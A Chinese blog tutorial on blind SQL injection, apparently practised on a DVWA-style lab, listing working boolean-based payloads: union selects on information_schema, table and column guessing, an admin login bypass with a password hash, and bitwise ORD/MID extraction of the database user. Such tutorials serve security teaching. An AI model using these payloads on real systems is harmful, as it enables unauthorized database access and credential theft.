美文网首页
二十三、SQL盲注

二十三、SQL盲注

作者: cybeyond | 来源:发表于2017-11-24 22:52 被阅读0次

目录

  1. 基本概述
  2. 判断
  3. 测试
  4. 盲注猜测流程
    4.1 猜列名
    4.2 猜当前表名
    4.3 猜库里其他表名
    4.4 列表对应关系
    4.5 猜字段内容
    4.6 猜账号密码
  5. sql注入高阶即另一种思路

1、基本概述

一般情况下,应用程序会:

  • 显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息
  • 内建的报错信息帮助开发人员发现和修复问题

但当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注。

从下面blind sql和sql注入代码区别可以看出,在blind slq代码中将myslq_error返回的内建错误给隐去了。


blind sql注入代码
sql注入代码

2、判断

既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断:

1' and 1=1--+  //为真,显示结果
1' and 1=2--+  //不为真,执行但不显示结果

3、测试

1' union select 1,2--+
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+
1' and 1=0 union select null,table_name from information_schema.tables#
1' and 1=0 union select null,table_name from information_schema.columns where
table_name='users'#  //#号与‘-- ’的效果一样 
测试1
测试2

4、盲注猜测流程

4.1 猜列名

1' and user is not null--+  //其中是否存在user表通过burpsuite等工具逐个猜测,观察返回结果,有返回结果,即为猜测成功
猜列名

4.2 猜当前表名

1' and users.user is not null--+
猜当前表名

4.3 猜库里其他表名

1' and (select count(*) from guestbook)>0--+
猜其他表名

4.4 列表对应关系

1' and users.user is not null--+
列表对应关系

4.5 猜字段内容

1' and user='admin
1' or user like '%a%
猜字段内容1 猜字段内容2

4.6 猜账号密码

2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
猜账号密码

5.sql注入高阶即另一种思路

ASCII码默认是1个字节8位,用二进制表示共能代表255个字符,而0-128是常用字符,后128个为扩展字符:

8位ASCII码

使用如下的语句,可以尝试出每个字符通过ASCII码转换后的真正字符

1' and ORD(MID((VERSION()),1,1))&1>0--+
ORD()//ASCII码转换表示,后面加上&128/64/32,找到对应的ASCII值,若其中的尝试中,为0,由于不>0,值为假,通过此判断字符
MID((ColumnName), Start first, Length)  //columnname代表一段字符,startfirst代表以第几个为起始字符,length代表起始后到多少位

举例
对于一个以暴露的信息来说,如果除了简单的图片外没有其他的任何显示信息,如使用如下信息时,正确返回一个图片,错误返回另一张图片:

and 1=1--   //返回一个图片或其他形式的结果
and 1=2--  //返回另一个图片或其他形式的结果

通过以上的结果,可以尝试使用上述方法,逐项猜解:

1' and ORD(MID(CURRENT_USER(),1,1))&128>0--  //从128即高位开始直至1即低位逐个尝试,并计算出其值,对应ASCII码,得出字符
128,证明此位为0
1' and ORD(MID(CURRENT_USER(),1,1))&64>0-- 
64能显示结果,证明此位为1

下面以此类推,得到第一位的结果为r


第一位结果

下面开始尝试第二位:

1' and ORD(MID(CURRENT_USER(),2,1))&128>0-- 
第二位为o

利用同样方法,得到第二位的结果为r,以此类推,得到整个用户名

相关文章

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • 二十三、SQL盲注

    目录基本概述判断测试盲注猜测流程4.1 猜列名4.2 猜当前表名4.3 猜库里其他表名4.4 列表对应关系4.5 ...

  • DVWA之SQL Injection(Blind)

    ————SQL Injection——(Blind)—— SQL Injection(Blind),即SQL盲注,...

  • 2019-02-24 sql注入

    sql注入主要分为显注和盲注,显注就是你注入的sql语句可以显示的显示到界面上,告诉你的语句对还是错。盲注就是不会...

  • sql盲注学习笔记

    sql盲注 在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己去体会才能知道到底是什么样子的。 ...

  • sql注入-盲注

    注入源代码 1.left()判断数据库版本

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • 一步一步学习 Web 安全 2.6 布尔盲注

    盲注 盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。 盲注...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • sqli-lab之第二章--盲注

    第二章 盲注 注意: 本文大部分内容都是参考mysql注入天书 学习篇 何为盲注?盲注就是在 sql 注入过程中,...

网友评论

      本文标题:二十三、SQL盲注

      本文链接:https://www.haomeiwen.com/subject/qpufvxtx.html